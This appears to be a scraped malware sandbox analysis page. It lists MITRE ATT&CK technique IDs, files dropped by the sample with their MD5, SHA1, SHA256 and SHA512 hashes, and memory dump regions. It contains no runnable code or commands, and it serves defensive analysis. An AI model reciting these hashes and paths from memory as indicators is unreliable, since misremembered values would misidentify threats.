T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
806286a9ea8981d782ba5872780e6a4c

SHA1
99fe6f0c1098145a7b60fda68af7e10880f145da

SHA256
cd2c977928e78b2d39bba8a726308f17b2946ea3f1a432de209720f691450713

SHA512
362df97f9fc9c2f546538814cd0402a364a286326219f03325f8cbd59d33f9d850c26daf42230f0bb4feb7e5134868a51e7a3d2f5bc136fe3de69d5d82c5ae2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ki5ibq3i.mzj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\kmcxcxabrycjttdexwxrouobzlvqjsuyge

Filesize
4KB

MD5
7aca43b2800ceb18b3ed2326532545de

SHA1
d4cf207ef85bd749d59c1cb27a09c167ee21523a

SHA256
3d9f8622d97587fd84d3d0560a50ab38e5f894fe4b5bcaa34279643fdaaeb480

SHA512
0e002e6b8d965c227d9b1aa7c0251619c787ec7717e59667e756e5815e3666a955ea397eb148a1ed6bb7d8045727e4efa656a103f14bc70a03b03f0c91283c2f

Download Submit
C:\Users\Admin\AppData\Roaming\Bridlers.Skr

Filesize
483KB

MD5
2309a7580edbc530b896385997a75033

SHA1
9348fa8878691721ccd869bbd9db15e340b2f1d8

SHA256
1b8be45b05bb5c1b3fc63d19791984dbf84cac36042f52289e99d4cc57312f2c

SHA512
d48ee62ed79a2e396bd24e42922923dde18ce6a6daa49bf0ed9ca0dbe3d4b62c77a1b3e06a8e7da29c4e0d565391f8428457c2bbe959b708adb15344cc6d1349

Download Submit
memory/1172-22-0x00007FFC7E4C0000-0x00007FFC7EF81000-memory.dmp

Filesize
10.8MB

Download
memory/1172-19-0x00007FFC7E4C0000-0x00007FFC7EF81000-memory.dmp

Filesize
10.8MB

Download
memory/1172-16-0x00007FFC7E4C0000-0x00007FFC7EF81000-memory.dmp

Filesize
10.8MB

Download
memory/1172-15-0x00007FFC7E4C0000-0x00007FFC7EF81000-memory.dmp

Filesize
10.8MB

Download
memory/1172-5-0x000001433B4F0000-0x000001433B512000-memory.dmp

Filesize
136KB

Download
memory/1172-4-0x00007FFC7E4C3000-0x00007FFC7E4C5000-memory.dmp

Filesize
8KB

Download
memory/2148-66-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2148-67-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2148-61-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2784-44-0x0000000007600000-0x0000000007622000-memory.dmp

Filesize
136KB

Download
memory/2784-45-0x0000000008780000-0x0000000008D24000-memory.dmp

Filesize
5.6MB

Download
memory/2784-40-0x00000000063F0000-0x000000000643C000-memory.dmp

Filesize
304KB

Download
memory/2784-41-0x0000000007B50000-0x00000000081CA000-memory.dmp

Filesize
6.5MB

Download
memory/2784-42-0x0000000007510000-0x000000000752A000-memory.dmp

Filesize
104KB

Download
memory/2784-37-0x0000000005DE0000-0x0000000006134000-memory.dmp

Filesize
3.3MB

Download
memory/2784-43-0x0000000007670000-0x0000000007706000-memory.dmp

Filesize
600KB

Download
memory/2784-25-0x0000000005B30000-0x0000000005B52000-memory.dmp

Filesize
136KB

Download
memory/2784-26-0x0000000005BD0000-0x0000000005C36000-memory.dmp

Filesize
408KB

Download
memory/2784-47-0x0000000008D30000-0x000000000DE6A000-memory.dmp

Filesize
81.2MB

Download
memory/2784-23-0x0000000004E30000-0x0000000004E66000-memory.dmp

Filesize
216KB

Download
memory/2784-24-0x00000000054A0000-0x0000000005AC8000-memory.dmp

Filesize
6.2MB

Download
memory/2784-27-0x0000000005D70000-0x0000000005DD6000-memory.dmp

Filesize
408KB

Download
memory/2784-39-0x00000000063B0000-0x00000000063CE000-memory.dmp

Filesize
120KB

Download
memory/3288-62-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3288-73-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3288-72-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3988-68-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3988-60-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3988-65-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3988-64-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4316-54-0x0000000000ED0000-0x0000000002124000-memory.dmp

Filesize
18.3MB

Download
memory/4316-78-0x0000000023D40000-0x0000000023D59000-memory.dmp

Filesize
100KB

Download
memory/4316-82-0x0000000023D40000-0x0000000023D59000-memory.dmp

Filesize
100KB

Download
memory/4316-81-0x0000000023D40000-0x0000000023D59000-memory.dmp

Filesize
100KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads